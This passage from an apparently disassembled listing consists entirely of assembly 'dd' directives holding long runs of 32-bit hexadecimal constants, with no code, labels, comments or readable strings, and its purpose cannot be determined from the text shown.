4399CA08h, 0C2035ED5h, 0CD2E608Eh, 9F29354Eh dd 6E4F7ED4h, 7A016D32h, 0D1216168h, 0DB49271Bh, 0DF33D9Eh dd 0C344860Ch, 57F9F037h, 0CAC4199Ch, 0C3517564h, 5B1CBA6Fh dd 0FBE490C4h, 0A16AD8A9h, 0C5DF9CCCh, 1CED08CCh, 0CA34F7E7h dd 0BB3DB9F5h, 42837F66h, 1CF477E2h, 6C4C5B94h, 0AC967740h dd 93DDD0Bh, 24F921FDh, 0E99F3C26h, 3CA52BBAh, 3EA925E5h dd 0C464660Ch, 3CD1344Ch, 0F2C4BD06h, 0A0A07AE6h, 0F88FCB63h dd 57377343h, 0BCB57A8Ch, 0C843DC4Ch, 0FC8504EBh, 0C8DC691Eh dd 47EF7D25h, 1EADB98Bh, 0CF374103h, 91901935h, 0A72C9562h dd 16FECD7Ah, 0E4D175EEh, 8436910Dh, 547EBD34h, 14B1C043h dd 0E7D0D08Fh, 2CF5080Bh, 0F45A3319h, 0E45CAEADh, 0A3077222h dd 0C34FAAF9h, 0A6FB550Eh, 7D6C0AB9h, 10091Bh, 0ECF1D798h dd 4820C730h, 8304C68Ah, 3862D7F9h, 0B90986EFh, 82069DD0h dd 2160D739h, 36760913h, 240648h, 95BB794h, 0E586E598h dd 0FAD37125h, 69EC7EF4h, 0F76ABFE9h, 6F4701A9h, 84DB80EDh dd 674C6F90h, 0AB0BCA7Fh, 0C95DD38Fh, 0A74CB26Eh, 0B898B0EBh dd 0E708686Bh, 3EDBE393h, 50AF6041h, 79FC64BBh, 0C3D0B2B1h dd 20D7F805h, 3F045B14h, 0D36C0FF8h, 26217929h, 50272F87h dd 23B1B6F6h, 0D4ACBB68h, 0F157BF61h, 0F8F74E66h, 0C19F1D4Bh dd 8ADE240h, 0E7CECE8h, 17AF8550h, 8E7EE03Bh, 0F510B37Eh dd 0BEF271E3h, 4A0FA93Eh, 0E110CA9Ah, 3D071FFCh, 0D0CF8997h dd 595BD53Ah, 62ADDB9Ah, 9DD08EF8h, 96CB5C13h, 27C3C4Ah dd 0D9781100h, 7C2091AAh, 17A90102h, 9CC3695Dh, 0CBC363A2h dd 68671937h, 145683F7h, 92CB18C9h, 0B57BBE7h, 0A2842EFh dd 80344367h, 8A4D2915h, 7D890433h, 261EAC83h, 87E08563h dd 0A9F57919h, 43F65BE7h, 659C8A68h, 0B9D9A8CBh, 0B1B8B32Ch dd 296C6BF5h, 0BC33AB1Bh, 38752BECh, 0D236C7CAh, 86157D17h dd 8B152ED2h, 22C7F5A5h, 4FE8EC59h, 276AF737h, 846A7716h dd 76AF43FEh, 0CD026487h, 0F5757C39h, 0C1EA8E22h, 0C0D8E6Ah dd 9EBD8DEAh, 52C54FE0h, 7D5AFC3Ah, 0EBA98A28h, 55D52F97h dd 180FB0E3h, 0E0E5DCFCh, 7C645B06h, 0F5C7FD39h, 8557A97Eh dd 0CD10EDDh, 3D481FD8h, 0AD307D66h, 3F528A6Ch, 0DA008908h dd 2B67076Fh, 289DBC87h, 0D67C9057h, 0FFFC1D4Ch, 16E26D59h dd 4A4C5806h, 0BF55B671h, 0B9ED8D0h, 1FD4A91Ch, 0EBD15A62h dd 7D7E8491h, 0D08445B8h, 9DF6B33Fh, 95DF2F2h, 0C7546DEEh dd 89DA745Fh, 98FDAF67h, 64DDC8CEh, 1470CA3Ah, 5F081027h dd 9DF546C8h, 206432C7h, 0A97664FEh, 43057296h, 905BC773h dd 0AB85062Fh, 26044995h dd 7ADAAAAh, 0B3A630E6h, 7666759Fh, 1470B761h, 0EE64F63Bh dd 0C187E42Ch, 0F36464E6h, 0AD729EA0h, 830FE5Ch, 8C534E6Fh dd 15039F3Fh, 7EA674A2h, 8CE0892h, 9E29D16Ch, 2749D553h dd 12A0153Ch, 0B688C59h, 0C39BB2CCh, 48C6B07Ch, 0E69B8B7Fh dd 7DA28E9Fh, 0DFE4AEDFh, 7A416906h, 0C3356104h, 9EC9764Bh dd 0C72AA130h, 0BEB2A408h, 3B6E5AE2h, 401C90EFh, 64F40132h dd 0CB81D6C4h, 0CB8F697Ah, 3F098440h, 6B37A9EEh, 0DFE05F0Eh dd 0B0B8B4FDh, 316E6B50h, 8648E24Bh, 78D2834Dh, 6A640865h dd 953D2F0Ch, 0C7F6D943h, 0D497BFFBh, 0D5206041h, 177F56F8h dd 5DCC6447h, 66B104CBh, 793F8EB5h, 0C46A76A2h, 79DA84F8h dd 0F9A1BB8Dh, 0D9F04C3h, 976E5FE2h, 0C39A0CCEh, 380507D5h dd 38B0B0E2h, 0D0A69133h, 0DBCD08B8h, 0CF9DEA74h, 0E0A5437Eh dd 21D1986Dh, 33C98402h, 0FC01CAFh, 0DDE1B973h, 4E0CD884h dd 0C7A361B4h, 2FBAEB96h, 0D675FA92h, 5B4FE07h, 2638E1FEh dd 7DFCD69Ch, 0FEE66DB9h, 0BD5CFF92h, 2FA701E3h, 0A774C694h dd 0FE8912E4h, 3BE31E4Fh, 7016B579h, 5EECBC3Ah, 3CE87D2Ah dd 0E3A0CA53h, 16BF2FC0h, 471CE358h, 5848EA40h, 0B2221EE7h dd 7D9FC9FCh, 0A90E7DA2h, 46B68E73h, 102890C3h, 48FA3A76h dd 64F0D258h, 64F139B3h, 48640B3Bh, 8BDCE81Ch, 3FBB714Dh dd 232654Fh, 27915FB7h, 7EAF9760h, 69A93879h, 3FB44711h dd 6BFA88E1h, 0DF982568h, 77E09DC4h, 6471643Eh, 0C6047BE1h dd 58A20F94h, 5130BDB8h, 8F0F788Ch, 6A5FFC35h, 0ED7AC144h dd 1B3512F9h, 0BFD73A0Fh, 0B73A66F9h, 3E8C3ED2h, 99E45B7Eh dd 796475D0h, 0BD47D37Ch, 41848D68h, 0E0B72ACBh, 0C8C39334h dd 0F8E21D62h, 76004F95h, 0CAFA0CF7h, 0EA3E4539h, 0FCE0F9E9h dd 0F3A562F6h, 0FBD1D6A4h, 152C0A24h, 75D2F1Ah, 0EC9E27CBh dd 418E8ADAh, 6A47EE4Dh, 0BDF1C51Ah, 0CF36E197h, 0CE4C66DEh dd 5EAB2B29h, 0BC7E08A4h, 0B89067F2h, 552DAC26h, 3F8CFDECh dd 0C3F1D102h, 1C2F94E7h, 8B0E1E94h, 11C13295h, 0FAF8FC94h dd 0CEC893A8h, 0C7DB2AAFh, 0C106BA97h, 4E6C5E68h, 0C45B5936h dd 717D123Dh, 66F28439h, 52CF957h, 9F3A45F4h, 0F5E30838h dd 0FCFAF8E0h, 0B550B63Bh, 13090994h, 3D84024Eh, 0BC101C10h dd 482B6EACh, 0A4CB7AFh, 0D0C594A9h, 202E9031h, 4644EB42h dd 18BD46Dh, 24AB5BF7h, 0D5C4AB57h, 2C4DA099h, 7C5A422Ah dd 366417B9h, 0A9044D60h, 0F5B57C6Ah, 23008651h, 0F60A042h dd 0F5D8A36Fh, 3891B8D4h, 32529B0Ah, 87594C9h, 0F39A81E1h dd 2C865FC7h, 39179E38h, 0B4286795h, 0FC765188h, 9CF67CAEh dd 0A87C1334h, 271FCAEEh, 47061E88h, 0A81D8E18h, 0ABD1BB1Ah dd 990CF364h, 0DE30F60Fh, 0FD7CE5C4h, 59B8034Ch, 0D8849DEDh dd 968B7B2Ch, 0B5627325h, 0C026DB87h, 0C8A43401h, 0E341B89Bh dd 0AAA66D36h, 0B187A8FCh, 0D9EF0684h, 0E85E9F2Ah, 5A5D9FCh dd 5E1C11E1h, 8F948E7Ah, 0CC38C5D6h, 0DE54A190h, 0A558BD91h dd 0C43F005Ch, 0D659112Dh, 0F779112Ah, 0BEE428AAh, 18766782h dd 0DA2D4CA4h, 0AAC10891h, 0C5AFEB14h, 8D5E7726h, 2531F7CEh dd 4CFE0A94h, 2E2071A8h, 3513FA99h, 0BF1CBBB0h, 2FCB1127h dd 52137160h, 0EA87A7Eh, 0E5407B18h, 713AF59Eh, 1B8B2612h dd 182190C3h, 559353B2h, 0A48659AEh, 8250523Eh, 4C051CECh dd 0CE50BD33h, 28090F4Bh, 7405EAE4h, 33152569h, 74C0DE6Ch dd 1BE05CF3h, 0E107A086h, 0FDD30B7Fh, 47774204h, 346ABEA6h dd 0D2A47179h, 0DF62FC8h, 0EDBC4FDEh, 0BB1C15C6h, 2452B258h dd 2CD915D1h, 0DDDA9FF1h, 7A2B10DAh, 0FBAF786Dh, 0F9DB7A7Eh dd 0CA5ABDE0h, 0E84209F9h, 6D15C6h, 614CB4EBh, 0AC36981Eh dd 0FD457F5Ch, 6534B784h, 0F2D2D167h, 203445F3h, 49149C4Bh dd 71A07EF3h, 7C2D761Ch, 6E74EA2Fh, 6BC4A07Bh, 0EA79E5F8h dd 7831197Ch, 0DF550C1Eh, 0EE180924h, 67C7093Dh, 683E92DFh dd 40A74066h, 0FFBD6A6Dh, 8C14CDC3h, 157CBE2Ah, 0BACC5B6Fh dd 35A518Dh, 0F394D956h, 26A90E26h, 0E7283610h, 9F366D5Bh dd 4AD61155h, 0EDFF9FDh, 4A1400BBh, 3387FE99h, 0E55AF317h dd 0A72E7FF1h, 87637F13h, 3E937098h, 0D1371E3Bh, 0C1C57A6Dh dd 0FCDA07E6h, 1EDD7125h, 0A280240h, 0E6CBF83Bh, 0F5E11D6Eh dd 9E1736Dh, 7FCFDBD8h, 0F0F4D00Fh, 831D4FFh, 9C9D6611h dd 784B1A5Eh, 0A250A832h, 6FAD003Bh, 318D1DC4h, 0C4DF8FF9h dd 0E395B578h, 0D8097E9Bh, 0EC07E0B3h, 103C35AEh, 0C7C1501Ah dd 98E8B689h, 0FCAD5DE1h, 8D5EB412h, 0C3D92D4Ch, 0CC00F97Fh dd 3EAD90C3h, 84D87C3Ah, 38F45EEh, 5FD6B590h, 94D1372Ch dd 0D6014B8Bh, 2148F2F9h, 0CA599FDDh, 3FCF2B9h, 0FC9BE8CFh dd 0BDC156E4h, 0CA8503B6h, 0FAF9CC5Dh, 82AFFEDh, 0C4318BABh dd 800CFD11h, 225B7CDEh, 0C389848Ah, 70213D7Ch, 148D1B5Bh dd 0FCE5FADh, 54CFA15Bh, 0B4E67DCBh, 0CA0B041Eh, 15FB2C52h dd 1FB5567h, 26F75E8Ch, 5891EB94h, 0B10100D5h, 19C629E0h dd 0AD93B3F8h, 0AF449FCh, 0FFADC656h, 0D0AE641Bh, 0C64B6036h dd 5067707h, 2D9A873Dh, 0C447013h, 0E09BB23Ah, 1B3F8DCBh dd 0B63234D5h, 0FE6093D5h, 170E5B92h, 19B1522Bh, 0B76740B5h dd 0A2B6D8A2h, 0CBB3E5D1h, 4B11DA73h, 0F2CBF391h, 0DB0006D0h dd 6D247E52h, 0CE9A99CEh, 2EB57750h, 0E15295CFh, 4A46BE0h dd 0E41D6D84h, 5AE81C90h, 3CCEE8CDh, 5C09A81Ch, 0C505326Ch dd 69F3186Bh, 81F47339h, 4ACCE632h, 6A37B667h, 0EC283C60h dd 177694A1h, 0CA19B775h, 6AF52ED9h, 6A537ACAh, 0D624CDEFh dd 0AE188A2h, 7D63DC35h, 7F8BAAAEh, 0EFAA2695h, 0A9285767h dd 1088FC35h, 23D3B34Ah, 75BD6273h, 5782AAA7h, 0C2D279D1h dd 7A162DCFh, 225C291h, 0C2CBB38Fh, 0CA5207C2h, 7744F819h dd 13C4152Bh, 490FFF68h, 86967336h, 150AC8DCh, 77E2720Ch dd 69F2FC53h, 10E3AEAEh, 430E75F5h, 0A7851D26h, 806D01C8h dd 52B36DE3h, 9840339Ch, 0FF5D4C7h, 14C3F032h, 0E5E7908Eh dd 9C1971ADh, 0FC11FEC0h, 0DBD4BEEh, 7CD095E5h, 10997361h dd 0B762E506h, 0EBF75B12h, 5A10BF2Ch, 0DCCDF1A0h, 96914526h dd 0D4675CFEh, 1CF2006Dh, 5CE4D84Ch, 0F05D61B2h, 5458E57Ch dd 0E0FBAF63h, 0B1F3D5DCh, 0C720F711h, 828A7E1Bh, 0BBFD71A1h dd 43A619C8h, 85211672h, 0FA7565C8h, 2A5A6675h, 0FE727DEAh dd 0DDDF6097h, 0B8D4D8F8h, 0F55F7B67h, 0F18B2C12h, 0FC70904Bh dd 0C96C5DF7h, 69F3DECBh, 0A120036Bh, 24B235D5h, 0B2469082h dd 9F2FE183h, 0C96214F6h, 1E8E6679h, 0F2997DC6h, 22AD7CF7h dd 84D5FD84h, 38A402AAh, 3F65F8E9h, 9FA41D3Eh, 69C5A4C1h dd 69FAB1E2h, 0D986CB3Bh, 352DDBEh, 0B31E3BDAh, 98CDB26Ch dd 4E35D5F3h, 0FCB124A7h, 4FA8CBD5h, 6FC00E66h, 0FA1ADD24h dd 0BF0CBF1Bh, 0ECE5A4E3h, 1C6118D7h, 211A0E3Ah, 0A381A510h dd 2E48013Eh, 92D0C745h, 5A9C690Dh, 6A108BB1h, 54CC72FFh dd 0B2035898h, 8932753Ah, 0E1417150h, 3F01CADCh, 35351B9Fh dd 201F7864h, 1564CE82h, 0AEF65317h, 685073EEh, 0C7F11500h dd 4960D01Bh, 652776A7h, 0C270CC4h, 17CD9818h, 6ED45DBh dd 0E61CADFCh, 0A6D656A7h, 33990222h, 0E8E01971h, 68EC7914h dd 0E3350281h, 6336B11Bh, 35414261h, 0E8D47A69h, 7EEC15C4h dd 0FF054425h, 49C95108h dd 0D5DC6986h, 0E36FFDF7h, 75ADCC88h, 217A8AE1h, 13E6F573h dd 0CCEA7081h, 0AC0DFF90h, 0B41F7999h, 0DBEFE3BFh, 1104BAB3h dd 22049BE2h, 6CBB45F1h, 0CC42EEE3h, 0FA46671Dh, 740FB2F7h dd 4A1123h, 0C2EB91CDh, 7B60665Eh, 0D93DDB12h, 682E73CCh dd 0AD2FCD77h, 16B56887h, 783692CBh, 578E2622h, 0F57A7AB7h dd 5D7C5AE3h, 280380E9h, 7952198Ch, 4161046Ah, 0C109A972h dd 0E9D844C7h, 3815FC0Eh, 0F2B85F22h, 0D0D17EEAh, 0AAF2CA3Ah dd 352D74BFh, 0B59607F2h, 2D31DADFh, 4E3341AAh, 0F7CFE91Eh dd 6C3A57E9h, 33E05A7Bh, 59D37572h, 1491C528h, 4F794E5Fh dd 2DA563BFh, 0FD07901h, 38207F73h, 0E0E7F83Eh, 0B9D66056h dd 0F4E677F7h, 32289666h, 21EB909Bh, 0ADF8ED6Eh, 0E4CA6FFAh dd 7C3FB28Fh, 0AF227D02h, 0B7472084h, 1CDEE7C5h, 0C253FE09h dd 17719034h, 9A6FFD2Bh, 0AF5EAB0Bh, 0C0C445F7h, 8EEFF8C5h dd 3D387151h, 3109DA79h, 6762D42Dh, 5CB6B512h, 0DF72342Ch dd 0AEED41E0h, 9F35074Ch, 27C32100h, 24FA72CAh, 4525CB03h dd 0B5EF26EAh, 6F5AAD3Fh, 0D8EA0BF7h, 0FFBE5334h, 27A30155h dd 22195980h, 13A4FD71h, 2C2868EBh, 52987D1Fh, 0CCC5BCD0h dd 27F3111Bh, 9C416482h, 4E841A96h, 0D8378CF2h, 99E1B6E2h dd 0B636007Eh, 0B4B60F8Eh, 3CA4A95Dh, 0A2A7E1C1h, 0ECB760DAh dd 0CEA11300h, 0EE687C53h, 2E4127D4h, 3783B939h, 0BC17FC5Ch dd 0C4D277BBh, 380704ECh, 371BA21Ah, 818FF9E8h, 0FF2C7A9Dh dd 4C9F2892h, 8D279EFh, 4D275DEh, 26F1B65Fh, 781F57C7h dd 0C8950E9Bh, 1659BFF8h, 0FB4C7A4Bh, 7B5D792Ch, 323D458Ch dd 6A0AFFA6h, 435C4302h, 862B0332h, 793A1FAFh, 2730FFB7h dd 23EF4551h, 0F23749B4h, 0B9ED431Eh, 862C28F4h, 7BFBACDCh dd 7229D8F4h, 31EA8AC0h, 0EAEBB33Fh, 7B4F0087h, 0F59F45A9h dd 6B7B4982h, 3D0243F0h, 4656FF7h, 6F970DDAh, 0FF2345DEh dd 2CC8C005h, 0C840B91Eh, 0C9271EF9h, 0C36A1849h, 0F02008C1h dd 4CF0EAEAh, 9CF6B0E4h, 3D8D80Fh, 94F43021h, 2450B21Eh dd 0CCE027A4h, 6E3C7206h, 0DFE940FCh, 5AA010E0h, 9BAD2357h dd 0CBBB4D57h, 0F9D6D46Ch, 0D41A8C87h, 94CCB4FEh, 7AB34125h dd 0C34F44C0h, 40C5F70Dh, 7D106F4Dh, 7E08C0CBh, 0FCB93E9Ch dd 0B018798Bh, 0E3EE2334h, 24B0C177h, 6AC0DB0Dh, 34AEF5C1h dd 1AECF684h, 3147B515h, 455A1598h, 0DEC303C0h, 50E45B9Fh dd 5FF7902h, 172A3383h, 0D5661384h, 567BC808h, 822C3495h dd 8606C0C9h, 0D8A717E1h, 0F48406F0h, 58DC0760h, 0B1583206h dd 0CD9B35E8h, 0FFC32792h, 0FFF606DEh, 0EF7461A4h, 0BE6FBDBFh dd 0D71F9DA6h, 48A905E9h, 0BF93B3C7h, 355B0984h, 9A68715Dh dd 0FA0AC2E0h, 0E7763DA4h, 0DB77126Fh, 0ED4D3FB5h, 64399CBBh dd 9C28060Ch, 0D637E963h, 360494B1h, 0E2663665h, 0C54754FDh dd 462024E1h, 46002F26h, 8F3B6B95h, 0DF3A28FFh, 0D7E2D5E9h dd 0B1CC3A82h, 9E100994h, 0C24FD5FAh, 3AA814E1h, 6CE60FE9h dd 531BE50Ch, 85DE8A2h, 270854C7h, 49C208E9h, 414F596Ch dd 0C78B4D68h, 8C5189CAh, 564BC4E6h, 1BDD25FCh, 0DB63A3E9h dd 0D7636B8Bh, 0F616CAEh, 344906DCh, 0B90E07A9h, 0B5E382C7h dd 0C30771FCh, 97A0892Dh, 369ED3Eh, 0C06E06D8h, 0FD25C384h dd 5F1443F9h, 0C5A57AE4h, 7EA266F4h, 0C71C47A9h, 3EB107AFh dd 5E470828h, 8D4E1472h, 8ADC62Fh, 0AB0EB33h, 306EEABCh dd 5671F3B7h, 8F33C8ACh, 1DEC8574h, 0FA5644D2h, 0C3342272h dd 5A5EA3E9h, 9A6D719Eh, 0C4E46393h, 0EFA3C7A5h, 0C8E13D28h dd 0F2B479E4h, 0DB5C833Bh, 0BBF734A9h, 0D31040A4h, 1395C029h dd 0C606F8EDh, 0DBC674E8h, 0BBE93FFFh, 512B8724h, 1073CB2Fh dd 55646467h, 0C98EB2Ch, 0F16747B3h, 48BAA820h, 81BB3A3Eh dd 0E875520h, 0FC56E572h, 63B474CEh, 0FE2C6C28h, 846D3E7Fh dd 0B5F4B508h, 4CD5F6E8h, 0FB306693h, 7297B1E0h, 8953C64Ch dd 510EFF7Fh, 0D9F0F4A7h, 0B9E62F1Fh, 5EDD4662h, 0C5A57AE4h dd 97F566F4h, 18FA60A5h, 0C3FFC79Ch, 0FBFD172Bh, 5EC403E6h dd 0FF0502D0h, 0B29BBC58h, 4826E3Ch, 0BD6C27C6h, 0F9A9A53Dh dd 0D4547D05h, 919C7E3Ch, 0CC221748h, 0E93A600Eh, 0EEECDED8h dd 2A2176F1h, 44F0A17Bh, 55A21D57h, 837773B3h, 529745F0h dd 8000FFACh, 2D2D7CF5h, 3C6377ADh, 0D60BC99h, 43BC9EFh dd 3F02AB36h, 0C6A576A7h, 838875E8h, 8D2912DEh, 2A7D3C48h dd 14845DF0h, 0AE63DFD1h, 7CA71C20h, 0DA2874F8h, 6F5DF1B7h dd 24C11D68h, 115875C7h, 8EE65AFCh, 0F9E56ECCh, 488EC687h dd 0E74E40AFh, 0DC82E66Bh, 0C8F745ABh, 0D43D07C8h, 0DB3374BFh dd 0B94CC2E7h, 8D61AD25h, 0D2B0E32Ch, 5E86236Fh, 0C13644ABh dd 0BF947D6Eh, 7BA6F5C4h, 297BAE27h, 207AFB1Dh, 7B8330E9h dd 8A583DF9h, 7EAEA085h, 8F0F3C4Ah, 2F74FF57h, 3AA28B60h dd 7A4E3D2Ch, 0D5463B8Ah, 0F8266EFFh, 4F1134E4h, 3D583A22h dd 8A8EF86h, 0FA8291E8h, 2E2C32BFh, 0DA7EC86Bh, 0FC206DB9h dd 0B82D3A73h, 22B8F4C4h, 0C1A37F76h, 386210BBh, 0D72A7DFEh dd 3A63875Ch, 0D8A77C0Fh, 6F732F09h, 0FA1849B2h, 0FDDAE33Ah dd 39FE7083h, 593FF77Eh, 4A7B5FCAh, 487A3588h, 0C3F46F96h dd 0F82D1DCEh, 388E2187h, 7B446BF1h, 87BC43BFh, 0AD4D610Ch dd 0BC829D27h, 5B5C04BDh, 8C00089Dh, 0FA5C3448h, 55B8A3E7h dd 2F300870h, 5E85258Eh, 0FA7D6D68h, 0B9C39AC7h, 0C10477FCh dd 0BE2ED56Eh, 0D27BF274h, 4AE29FF6h, 426BB92Eh, 44745F02h dd 4B012B4Ah, 0D3B52546h, 57B56D7h, 38765182h, 2C08469Eh dd 8C3D8A96h, 80E5692Ch, 0E2A57EE8h, 2B7C01BDh, 2B683FA4h dd 36EC556Ch, 0DE5284E6h, 0D4D4821Fh, 3131A266h, 3D366AE1h dd 9B043F4Bh, 0D52B0538h, 44C9E80Fh, 0C4AE841Ch, 0C3984B57h dd 0ED2D5527h, 0FC373AD9h, 370466F7h, 2F287D43h, 0BC99203Ch dd 0D46844BCh, 0BC4F1784h, 776B06FEh, 232D1CD9h, 0E2E0E644h dd 480CBCEh, 7B478484h, 0AAEDEDA8h, 579E2CD9h, 5C1351D4h dd 37B3AF8h, 0FABB445Eh, 0FC2E276Ch, 8BE7079Ch, 846E34D9h dd 1720C409h, 0DA52CE21h, 3CD47BFCh, 2BB944B7h, 0E7D13A7Ch dd 38A51D14h, 0DD880663h, 0B69BC91Ch, 6CA13B96h, 0EE086A83h dd 0EC37C904h, 0F53878D9h, 76624D10h, 0F1E65D71h, 0D6438DE8h dd 6A5E67D3h, 0D75CB097h, 0FF08D7C4h, 0E2855D96h, 9B551A77h dd 1985D3EAh, 0C4B3AF8Dh, 0E6148079h, 0C705312Eh, 82B20085h dd 9D33E4DAh, 0D7108D3Eh, 0F8AC68EBh, 0C4E4F763h, 0AAE0D087h dd 2C347C78h, 152230BCh, 9AD07CAEh, 556FB4D0h, 97813B84h dd 0F86BB9FBh, 9E7FEF8Bh, 0C22070CEh, 842106E7h, 0BAB55096h dd 478BAD4Eh, 0D7873DF3h, 98387528h, 0B9BE4876h, 34172362h dd 0A0F2A3A9h, 0D44771A8h, 0BA711F88h, 3085AD6Bh, 834C9EBFh dd 44EB9FBh, 0D535416Fh, 9C3011C7h, 0F92C7CF6h, 8B6384C8h dd 0E8633514h, 38EC7A7Ch, 4E26850Eh, 58E75EEDh, 0FD32457Bh dd 0E4B3F560h, 0C696DEBCh, 5E20B475h, 0DA8FF1C9h, 432B00FFh dd 0BAA03530h, 24BDEF96h, 4B844CFCh, 554C0928h, 422C1E5Ah dd 4220DBC7h, 2B82C7B9h, 0BFB6B6h, 13FDC6CCh, 444FFC0Bh dd 53EC2794h, 4AA65D64h, 0C5AB78A0h, 312E07FAh, 0E8D9748Bh dd 0D45B469Dh, 0BF2B42FFh, 102CC9CCh, 9ABD8068h, 6F211594h dd 7AC4971h, 678C6712h dd 9B5D1A08h, 0C46EEFFh, 204325CCh, 0CEE48092h, 28B5FAE6h dd 0F5E771E8h, 0FB356749h, 7CF489FDh, 0FF06744Fh, 0EC44A122h dd 9ABF7786h, 76A665C0h, 0E2AE1239h, 3F4C0D7Ch, 7AECFD71h dd 0B01F17DBh, 0FD2673FFh, 34CE5DF0h, 58671C73h, 0B3E5594Dh dd 0FF0F2DBEh, 0D22B84FFh, 613BB624h, 5A4FB0E4h, 7E77F4E2h dd 0E12A6AEDh, 0C727DC26h, 0FDB18C84h, 1686E657h, 1666DEE0h dd 41587D30h, 0C654D9CCh, 0DC978D52h, 0EE203E84h, 11FAD520h dd 0B340DC84h, 0D75944B2h, 0A3B7CAEFh, 693B3A49h, 0A7F076D7h dd 0CF5ACC08h, 5124CE6Bh, 22254763h, 5AE6C9Eh, 7F207292h dd 0CA5BB5D9h, 2534D191h, 0F43309E6h, 0CA2908EAh, 0F46486EEh dd 322270ABh, 933296B5h, 0F488AA32h, 0F698B996h, 6E49806Fh dd 0D9834E2Fh, 0B7F35A1Bh, 35A9EE84h, 0EC0F07E5h, 85063CD9h dd 0BE979D66h, 0B9E87C89h, 0C213930Fh, 0F25363A6h, 0C004C2BBh dd 0F558BB67h, 32237963h, 197196A3h, 446A4BC2h, 0E930254Ah dd 649E761Ah, 426C5E77h, 802571C4h, 69EA45EEh, 967AA95h dd 17017573h, 1E0293C7h, 0FF7AA66h, 49760DB4h, 4A471C91h dd 1934DBBFh, 505B795Dh, 0AAFBBF00h, 0E048209Ch, 8F9062CCh dd 0C3C3A505h, 0E88A0628h, 0F49E03A1h, 0FFEF6B12h, 1522C442h dd 0BDED5AB1h, 127E10CCh, 0F07D8AAFh, 8E386AF6h, 8B84C789h dd 59297C90h, 2793E421h, 9CF6F36Bh, 0D0EDBCF7h, 0BEEB2F9Bh dd 2D85F6DBh, 0FD4D5EDEh, 0ED733665h, 355A319Bh, 0C3593635h dd 4EE49F7Eh, 6E94E942h, 8B38D12Eh, 55C764FAh, 0AB1481CDh dd 217015C8h, 751FE686h, 0CC592D73h, 0C056364Dh, 7621A166h dd 0A67E1A6Ch, 30CE7CAFh, 22B71D6Ah, 8C5FA126h, 20A5046Bh dd 761778C8h, 7C01E79Ah, 254CB224h, 422E6A9Bh, 724C14F3h dd 0B75C4B60h, 3483D09Ah, 120C481Ch, 0BEE109B8h, 0E2893D62h dd 7D6D1E22h, 0F57CBD4Eh, 6567DEBAh, 0F5D10080h, 45710184h dd 0DD3848EFh, 32833494h, 0E1EAFC8Bh, 0D83467B8h, 0CC71BBEDh dd 0B6A5D665h, 16843906h, 155F8579h, 4F74F3CFh, 0DA5BB7CFh dd 26B6B077h, 0B0A984D4h, 2122EA4Fh, 782F25C8h, 0B62E5757h dd 55C1F4DCh, 6877EDCAh, 19B091F4h, 0A2F54188h, 4A31374h dd 0B7CEBFB8h, 0F6233AC0h, 69473609h, 0BC9E672Dh, 0E8B6F383h dd 40A97142h, 0F27CEEDDh, 7BD288C3h, 5F37402Bh, 5405D181h dd 0C210324Fh, 0F3B8DB22h, 0DD90E17Ah, 40930F6Fh, 572BC46Bh dd 128E327Bh, 2750241Eh, 2ADD60EDh, 7AE9245Dh, 38205DDBh dd 3585E75Dh, 74ED0B4Ah, 4C0B4DCh, 34ECBDFBh, 0D5FB4908h dd 2305B17Fh, 488EBD79h, 0D11E6CFEh, 0B6AFD33Eh, 5763EAEEh dd 3F3D4AC7h, 0E70156D1h, 0ED7CE0D6h, 0B9815F6Ah, 2544A5F8h dd 0F9D2E83Fh, 34508700h, 72EB7E2h, 0A2279D35h, 1FE4F85Eh dd 2EA152E3h, 8485DF9Bh, 330673BCh, 0FF295FE2h, 8376368h dd 0BDFFF51h, 1850FD13h, 0E30A8CFCh, 23DF834h, 1EF22B7Bh dd 76F7E125h, 99B3F33Ah, 0E6AAACE2h, 6B03F828h, 0E86F1FE1h dd 10B3205Eh, 40E027C2h, 0D540B5C7h, 5999E4AAh, 8AAF2D51h dd 89432765h, 0A2C969F6h, 3FFB04DDh, 2D000DD1h, 796287FEh dd 6287DEC2h, 1CBCC324h, 0E4A83A7Ch, 95A84FCh, 34AD093Ch dd 0F60208E6h, 5C93E488h, 0ADF01B47h, 0EE9ABE44h, 0D0FCF616h dd 0B94F61DCh, 0F7D1FDC0h, 418F3022h, 0FA587938h, 1C5C6D66h dd 1AFE9D10h, 0C5DD9EA2h, 0F8CC7C52h, 7DA871EFh, 5A91CBCh dd 4383E904h, 609F153Ch, 0B058AF36h, 26C0C745h, 17D87956h dd 6B29697Ch, 0F597B21Bh, 77C09F06h, 0ADB6F09Eh, 54F75EA3h dd 8CC89E1h, 80E9B236h, 421890EEh, 7412B978h, 0ACB5897Eh dd 2EC8FD4h, 85FC72DEh, 0EA3851C8h, 0F6EA72FCh, 0ED1F9C67h dd 9E9EA6C8h, 88897CAAh, 0E3CF990h, 79BB4E7Ah, 2D4F7FFEh dd 0B24770D3h, 0E2BA994Eh, 0DB3C4690h, 0C4F46B3Fh, 0C68DFB36h dd 0D8F07720h, 4F65468h, 0C5F566E1h, 24B11755h, 74A0AFE4h dd 4BFE0D7Dh, 0FACB2CE2h, 0D2F44C68h, 5AA9B9F0h, 5D82908h dd 282C7B76h, 860E961h, 0CF64CDF7h, 0C6A5BE48h, 7D263526h dd 0DBE45361h, 8B824769h, 860023Dh, 18FCB7E4h, 0D9E7E9A5h dd 81EE78FCh, 0A5A11C6Ch, 2AEB7A7Ah, 5B770E48h, 8159744Eh dd 0B1259968h, 361CF15Ah, 332BF412h, 5CCFFC3Bh, 56A459D0h dd 0C35ABD1Fh, 71CDB1F6h, 63E79188h, 0ACE793A5h, 710B180h dd 4D4BCD41h, 436AD13h, 0F5448508h, 6867255Fh, 0A752A2FCh dd 8FEFF4B8h, 86E637D6h, 14F577D4h, 394C009Fh, 2F8741EFh dd 1DFA973Bh, 0C8E8762Fh, 861CDF28h, 756FCEFEh, 2A76768Dh dd 10ACF8FEh, 0C214B452h, 9A34FF62h, 3B16808Ch, 0D279F9C5h dd 79D425D5h, 1F3F645Ah, 4D9F1F0h, 5B2DD952h, 0CE06F546h dd 0B2E019BBh, 47F4951Eh, 0D880755Fh, 0C4B77F24h, 86AEC742h dd 75D5AAC7h, 5E76231Ch, 2AAFA842h, 0A3EA73D4h, 971163B2h dd 0F63C1BC5h, 8E9A654Dh, 0CFBCB56Eh, 0F9AF6D7Ch, 0D235BB0Bh dd 8675B34Dh, 350C4DEBh, 7C6B55FCh, 806AB5E8h, 8923406Ah dd 7E6DB7F4h, 27BB6929h, 75E035CDh, 62410880h, 79E0CBAFh dd 86671DF7h, 0E015D973h, 41F4626Ch, 0B04C8B23h, 78E63C33h dd 0CB17071Bh, 